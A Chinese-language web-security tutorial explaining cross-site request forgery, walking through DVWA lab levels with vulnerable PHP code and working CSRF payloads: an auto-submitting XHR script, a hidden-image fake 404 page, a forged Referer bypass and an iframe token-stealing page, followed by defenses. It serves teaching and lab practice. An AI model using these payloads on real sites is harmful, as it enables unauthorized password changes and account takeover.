10分钟浅谈CSRF突破原理，Web安全的第一防线！

CSRF攻击即跨站请求伪造（跨站点请求伪造），是一种对网站的恶意利用，听起来似乎与XSS跨站脚本攻击有点相似，但实际上彼此相差很大，XSS利用的是站点内的信任用户，而CSRF则是通过伪装来自受信任用户的请求来利用受信任的网站。

你可以这么理解CSRF攻击：攻击者盗用了你的身份，以你的名义向第三方网站发送恶意请求。CRSF能做的事情包括利用你的身份发邮件，发短信，进行交易转账等，甚至盗取你的账号。

那么，今天i春秋向小伙伴介绍一下CSRF突破原理的相关内容，希望对大家学习Web安全有所帮助。文章阅读约15分钟，一定要看完哦，文末内容更精彩〜

CSRF攻击原理

当我们打开或登录某个网站后，浏览器与网站所存放的服务器将会产生一个会话，在会话结束前，用户就可以利用其自身的网站权限对网站进行操作，如：发表文章，发送邮件，会话结束后，在进行权限操作，网站就会知道会话超期或重新登录。

当通过登录网站后，浏览器就会和可信的站点建立一个经过认证的会话。所有通过这个经过认证的会话发送请求，都被认为是可信的行为，例如转账，汇款等操作。过长或者自主结束重叠，必须重新建立经过认证的可信安全的会话。

CSRF攻击是建立在会话之上。例如：登录了网上银行，拆分转换账业务，这是攻击者给你发来一个URL，这个URL是攻击者精心构造的有效替代，攻击者精心构造的转账业务代码，而且与你登录的是同一家银行，当你认为这是安全的链接后点击进去，你的钱就没了！

例如想给用户xxser转账1000元，正常的URL是：

secbug.org/pay.jsp?user=xxser&money=1000

而攻击者构造的URL则是：

secbug.org/pay.jsp?user=hack&money=10000

CSRF突破利用

CSRF进攻常常被用来制造蠕虫攻击，SEO流量等。

分析防御代码

获取GET参数用户名和密码，然后通过选择语句查询是否存在对应的用户，如果存在通过$ _SESSION设置一个会话：isadmin = admin，否则设置会话：isadmin = guest

判断会话中的isadmin是否为admin，如果isadmin！= admin说明用户没有登录，那么切换到登录页面，只有在管理员登录后才可以执行用户的操作。

获取POST参数用户名和密码然后插入用户表中，完成添加用户的操作。

<?php

    session_start();

    if (isset($_GET['login'])) {

        $con=mysqli_connect("127.0.0.1","root","123456","test");

        if (mysql_connect_errno()) {

            echo "连接失败".mysql_connect_errno();

        }

        $username = addslashes($_GET['username']);

        $password = $_GET['password'];

        $result = mysqli_query($con , "select * from users where username='".$username."' and password='".md5($password)."'");

        $row = mysqli_fetch_array($result);

        if($row){

            $_SESSION['isadmin'] = 'admin';

            exit("登录成功");

        } else{

            $_SESSION['isadmin'] = 'guest';

            exit("登录失败");

        }

    } else{

        $_SESSION['isadmin'] = 'guest';

    }

    if($_SESSION['isadmin'] != 'admin'){

        exit("请登录……");

    }

    if(isset($_POST['submit'])){

        if (isset($_POST['username'])) {

            $result1 = mysqli_query($con,"insert into users(username , password) value ('".$_POST['username']."','".md5($_POST['password'])."')");

            exit($_POST['username']."添加成功");

        }

    }

?>

这是后台php源码。

攻击者需要做的就是构造一个请求，请求的URL就是php文件的URL，参数是submit = 1＆username = 1＆password = 1，请求有效载荷会自动利用原始码的特性添加一个用户：

<!DOCTYPE html>

<html>

<head>

    <meta charset="utf-8">

    <title>CSRF漏洞实践</title>

</head>

<body>

    <script type="text/javascript">

        var pauses = new Array("16");

        var methods = new Array("POST");

        var urls = new Array("isadmin.php");

        var params = new Array("submit=1&username=1&password=1");

        function pausecomp(millis){

            var date = new Date();

            var curDate = null ;

            do{

                curDate = new Date();

            }while(curDate-date<millis);

        }

        function run(){

            var count = 1 ;

            var i = 0 ;

            for( i=0 ; i < count ; i ++){

                makeXHR(methods[i],urls[i],params[i])；

                pausecomp(pausecomp[i]);

            }

        }

        var http_request = false ;

        function makeXHR(method , url , paramters){

            http_request = false ;

            if(window.XMLHttpRequest){

                http_request = new XMLHttpRequest() ;

                if(http_request.overrideMinmeType){

                    http_request.overrideMinmeType('text/html');

                }

            } else if(window.ActiveXObject){

                try{

                    http_request = new ActiveXObject("Msxml2.XMLHTTP");

                } catch(e){

                    try{

                        http_request = new ActiveXObject("Microsoft.XMLHTTP");

                    } catch (e){ }

                }

            }

            if(!http_request){

                alert('Cannot create XMLHTTP instance');

                return false;

            }

            if(method == 'GET'){

                if(url.indexOf('?') == -1){

                    url = url + '?' + paramters;

                } else{

                    url = url + '&' + paramters;

                }

                http_request.open(method,url,true);

                http_request.send("");

            } else if(method == 'POST'){

                http_request.open(method,url,true);

                http_request.setRequestHeader("Content-type","application/x-www.form-urlencoded");

                http_request.setRequestHeader("Content-length",paramters.length);

                http_request.setRequestHeader("Connection","close");

                http_request.send(paramters);

            }

        }

    </script>

</body>

</html>

DVWA平台CSRF

没有找到比较好的原始文件，于是找到了DVWA。

low

前端源码

<h3>Change your admin password:</h3>

<br>

<form action="#" method="GET">

New password:<br>

<input autocomplete="off" name="password_new" type="password"><br>

Confirm new password:<br>

<input autocomplete="off" name="password_conf" type="password"><br>

<br>

<input value="Change" name="Change" type="submit">

</form>

前端原始码的非常简单，是一个修改密码的CSRF，表单采用GET方式更改提交。

后端源码

<?php

if( isset( $_GET[ 'Change' ] ) ) {

  // Get input

  $pass_new  = $_GET[ 'password_new' ];

  $pass_conf = $_GET[ 'password_conf' ];

  // Do the passwords match?

  if( $pass_new == $pass_conf ) {

      // They do!

      $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

      $pass_new = md5( $pass_new );

      // Update the database

      $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";

      $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

      // Feedback for the user

      echo "<pre>Password Changed.</pre>";

  }

  else {

      // Issue with passwords matching

      echo "<pre>Passwords did not match.</pre>";

  }

  ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);

}

?>

可以看到预期接收数据后会验证两次密码是否重复，然后修改密码。

构造有效Payload

http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#

我们将Payload发送给受害者，受害者处于会话保持（登录状态）中，遭受一旦点击该URL链接，就意味着受害者执行了同样的操作，这个过程就是CSRF。

笔者位于的DVWA使用的登录密码，被替换为“ 123456”。

重点

这里的攻击建立是利用受害者的Cookie向服务器发送伪造请求（Payload），如果用户使用的是一个与xxser.com保持会话登录的浏览器重置有效负载URL，受害者的密码就会发生更改。

现如今，人们的安全意识普遍增高，我们可以采用短链接这种方式来进行优化，例如百度，新浪的短链接替代，以便减少图片内容，密码修改后的页面会有提示。

高明的做法（从一位前辈copy过来的）

<!DOCTYPE html>

<html>

<head>

<meta charset="utf-8">

<title>Payload</title>

</head>

<body>

<img src="http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" border="0" style="display: none">

<h1>404</h1>

<h2>file not found.</h2>

</body>

</html>

页面的作用是加载一个伪404的页面，实际上可以访问该页面，就会加载图片，所谓加载图片就是加载src属性，而src属性则为Payload-URL，实际的行为就是加载该html页面的同时图片会加载，也就执行了有效负载。

middle

前端源码（添加了http_referer头的验证）

<?php

if( isset( $_GET[ 'Change' ] ) ) {

  // HTTP_REFERER :查询当前页的前一页的地址信息

  // SERVER_NAME  :获取域名

  if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {

      // stripos() :查字符第一次出现的位置，

      $pass_new  = $_GET[ 'password_new' ];

      $pass_conf = $_GET[ 'password_conf' ];

      // Do the passwords match?

      if( $pass_new == $pass_conf ) {

          // They do!

          $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

          $pass_new = md5( $pass_new );

          // Update the database

          $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";

          $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

          // Feedback for the user

          echo "<pre>Password Changed.</pre>";

      }

      else {

          // Issue with passwords matching

          echo "<pre>Passwords did not match.</pre>";

      }

  }

  else {

      // Didn't come from a trusted source

      echo "<pre>That request didn't look correct.</pre>";

  }

  ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);

}

?>

检查HTTP_REFERER（http数据包的referer参数值）即上一级URL地址信息是否包含由HTTPHTTP数据包中的主机参数值；包含则表示当前页面是从DVWA即上一级URL合法的行为。

合法的http数据包：

GET /DVWA-master/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

DNT: 1

Referer: http://127.0.0.1/DVWA-master/vulnerabilities/csrf/

Cookie: security=medium; PHPSESSID=nfafklof4unqinb2b0jvvpl943

X-Forwarded-For: 8.8.8.8

Connection: keep-alive

Upgrade-Insecure-Requests: 1

留意第2行，第8行。

分析绕过

但是stripos（）函数写的头验证是可以绕过的〜stripos（）函数是多次匹配；只要包含了目标主机地址就可以可以绕过过strips（）函数写的验证语句

如果我们依旧按照建立一个伪造的攻击页面，stripos（）头验证就会验证，而页面并非来自DVWA，于是深挖stripos（）函数的扩展，发现函数会多次匹配，于是思路就是建立一个假的文件名，通过一个伪造的文件名，绕过stripos（）的验证。

Payload

GET /DVWA-master/vulnerabilities/csrf/?password_new=mirror11&password_conf=mirror11&Change=Change HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0

Accept: */*

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

DNT: 1

Referer: http://127.0.0.1/127.0.0.1.html

Cookie: security=medium; PHPSESSID=nfafklof4unqinb2b0jvvpl943

X-Forwarded-For: 8.8.8.8

Connection: keep-alive

这里注意：我们将Payload命名为“ 127.0.0.1.html”

high

前端源码

<?php

if( isset( $_GET[ 'Change' ] ) ) {

  // 加入 Anti-CSRF token机制

  checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

  // Get input

  $pass_new  = $_GET[ 'password_new' ];

  $pass_conf = $_GET[ 'password_conf' ];

  // Do the passwords match?

  if( $pass_new == $pass_conf ) {

      // They do!

      $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

      $pass_new = md5( $pass_new );

      // Update the database

      $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";

      $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

      // Feedback for the user

      echo "<pre>Password Changed.</pre>";

  }

  else {

      // Issue with passwords matching

      echo "<pre>Passwords did not match.</pre>";

  }

  ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);

}

// Generate Anti-CSRF token

generateSessionToken();

?>

加入反CSRF令牌机制，用户访问改密页面时，服务器返回令牌，只有用户提交令牌参数才可以进行改密行为。

分析绕过

我们构造有效载荷页面的时候，就需要考虑到执行改密行为必须向服务器发送令牌，而令牌只有在改密页面才可以获得；

根据前辈的思路：利用受害者的cookie去改密页面获取令牌。

<script type="text/javascript">

  function attack()

{

 document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;

document.getElementById("transfer").submit();

}

</script>

<iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">

</iframe>

<body οnlοad="attack()">

<form method="GET" id="transfer" action="http://169.254.36.73/DVWA-master/vulnerabilities/csrf/">

 <input type="hidden" name="password_new" value="password">

  <input type="hidden" name="password_conf" value="password">

 <input type="hidden" name="user_token" value="">

<input type="hidden" name="Change" value="Change">

 </form>

</body>

攻击提示是当受害者点击进入该页面，脚本会通过一个看不见框架偷偷访问修改密码的页面，获取页面中的令牌，并向服务器发送改密请求，以完成CSRF攻击。

然而理想与现实的差异是巨大的，这里牵扯到了跨域问题，而现在的浏览器是分离跨域请求的。这里简单解释下跨域，我们的框架iframe访问的地址是http：//169.254。 36.73 / DVWA主站/漏洞/ csrf /，位于服务器169.254.36.73上，而我们的攻击页面位于黑客服务器上，其中的域名不同，域名B下的所有页面都主动获取域名A下的页面内容，除非域名A下的页面主动发送信息给域名B的页面，所以我们的攻击脚本是不可能取到改密界面中的user_token。

由于跨域是不能实现的，所以我们将攻击代码注入到目标服务器169.254.36.73中，才有可能完成攻击。下面利用高级XSS入侵协助赢得Anti-CSRF令牌（因为这里的XSS注入有长度限制，不能够注入完整的攻击脚本，所以只获取Anti-CSRF token）

这里的名称存在XSS突破，于是抓包，改参数，成功删除令牌链接。

通过DVWA平台的CSRF实例，简单的总结了CSRF的特性和应对措施：

CSRF应对措施

从DVWA的测试中总结：在不可能的等级的原始代码中，利用了PDO技术防御SQL注入，CSRF方面则要求用户原始密码；攻击者在不知道原始密码的情况下是无法进行CSRF的！

CSRF防御手段

使用POST，限制GET

GET方式最容易受到CSRF攻击，只要简单的构造有效剂量就可能导致CSRF；使用POST可以大程度的减低CSRF显示率

浏览器Cookie策略

老浏览器会拦截第三方本地Cookie的发送，而新浏览器则不会拦截发送；

添加验证码

简单粗暴还有效；可以大程度的增加人机交互的过程，避免用户被悄悄的偷袭

推荐人检查

检查请求是否来自于合法的源

反CSRF令牌

令牌的值必须是随机的，不可预测的。由于令牌的存在，攻击者无法再构造一个带有合法令牌的请求实施CSRF攻击。另外使用令牌时应注意其保密性，尽量把敏感的操作由GET改写POST，以表格或AJAX形式提交，避免令牌替换。

总结

CSRF攻击是攻击者利用用户的身份操作用户帐户的一种攻击方式，通常使用反CSRF令牌来防御CSRF攻击，同时要注意令牌的保密性和随机性。

实际上是网络安全除CSRF之外，还包括SQL注入，XSS等众多知识点，繁杂且不成体系，若要深入学习Web安全攻防内容，一定要从基础抓起：https://www.ichunqiu.com/train/course/11?form=weixin

10分钟浅谈CSRF突破原理，Web安全的第一防线！的更多相关文章

在net中json序列化与反序列化面向对象六大原则 (第一篇) 一步一步带你了解linq to Object 10分钟浅谈泛型协变与逆变
在net中json序列化与反序列化准备好饮料,我们一起来玩玩JSON,什么是Json:一种数据表示形式,JSON:JavaScript Object Notation对象表示法 Json语法规则 ...
django 浅谈CSRF（Cross-site request forgery）跨站请求伪造
浅谈CSRF(Cross-site request forgery)跨站请求伪造(写的非常好) 本文目录一 CSRF是什么二 CSRF攻击原理三 CSRF攻击防范回到目录一 CSRF是什么 ...
浅谈CSRF（Cross-site request forgery）跨站请求伪造
目录浅谈CSRF(Cross-site request forgery)跨站请求伪造 CSRF是什么 CSRF攻击原理 CSRF攻击防范浅谈CSRF(Cross-site request forg ...
浅谈React工作原理
浅谈React工作原理:https://www.cnblogs.com/yikuu/p/9660932.html 转自:https://cloud.tencent.com/info/63f656e0b ...
浅谈html运行原理
浅谈HTML运行原理,所谓的HTML简单的来说就是一个网页,虽然第一节就讲html原理可能大家会听不懂,就当是给一个初步印象把,至少大概知道一个网页的运行流程是怎样的,下面上一张图: 大致的一个htm ...
[转]浅谈CSRF攻击方式
在CSDN中看到对CSRF攻击的原理及防护文章,讲解浅显易懂,特转之: 来源:http://blog.csdn.net/fationyyk/article/details/50833620 一.CSR ...
浅谈CSRF攻击方式
一.CSRF是什么? CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSR ...
浅谈CSRF（Cross-site request forgery）跨站请求伪造（写的非常好）
一 CSRF是什么 CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者X ...
浅谈CSRF攻击方式（转）
add by zhj: 在看Django开发的应用时,看到了CSRF,然后搜到了这篇文章,讲的不错.其实CSRF 攻击也蛮简单的.当你登陆网站A后,会在本地存有cookie,在cookie没有过期的情 ...

随机推荐

CSS类的操作
CSS类的操作 <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <t ...
渗透测试初学者的靶场实战 3--墨者学院SQL注入—宽字节盲注
墨者SQL注入-MYSQL数据库实战环境实践步骤 1. 决断注入点输入单引号,提示错误信息: 输入and 1=1 返回页面正常: 输入 and 1=2 返回正常输入-1,返回异常: 2. 带入s ...
Linux MySQL的root无法登录数据库ERROR 1045 (28000)
Linux环境下,脚本自动安装完数据库,命令行用mysql -uroot -ppasswaord 登录却报了这么个错: ERROR 1045 (28000): Access denied for us ...
js解决客户端与服务器时间不一致的问题
引出最近在写一个项目时,要根据时间进行不同的展示,直接用new Date().getTime()获取当前时间,结果就出问题了.有些用户擅自修改自己的本地时间,导致获取到的时间并不是当前时间,尴尬. ...
LinqDB 查询数据库
LinqDB数据库查询数据,还是很方便的. 1. 添加Entity数据实体类方便之后映射操作 /// <summary> /// 课件 /// </summary> [Dat ...
C# -- 使用缓冲区进行文件下载操作
C# -- 使用缓冲区进行文件下载操作 1. 为避免下载超大文件占用内存资源,文件下载使用缓冲区,一点一点读取文件资源. string str0 = @"ftp://localhost:21 ...
How to: Use the Entity Framework Model First in XAF 如何：在 XAF 中使用EF ModelFirst
This topic demonstrates how to use the Model First entity model and a DbContext entity container in ...
Vue初始化过程
用vue也有一两年了,始终对vue一知半解,不怎么了解内部的执行过程,最近在看vue源码,还是不少收获的,其中不乏浏览器事件轮询机制.闭包.设计模式等,还是非常值得一读.本篇简要记录下vue的初始化过 ...
library: Vulnhub Walkthrough
网络主机探测: 端口主机扫描: ╰─ nmap -p1-65535 -sV -A -O -sT 10.10.202.136 21/tcp open ftp vsftpd 3.0.380/tcp ope ...
resource和autowired
spring不但支持自己定义的@Autowired注解,还支持几个由JSR-250规范定义的注解,它们分别是@Resource.@PostConstruct以及@PreDestroy. @Resour ...

10分钟浅谈CSRF突破原理，Web安全的第一防线！

分析防御代码

low

10分钟浅谈CSRF突破原理，Web安全的第一防线！的更多相关文章

随机推荐

热门专题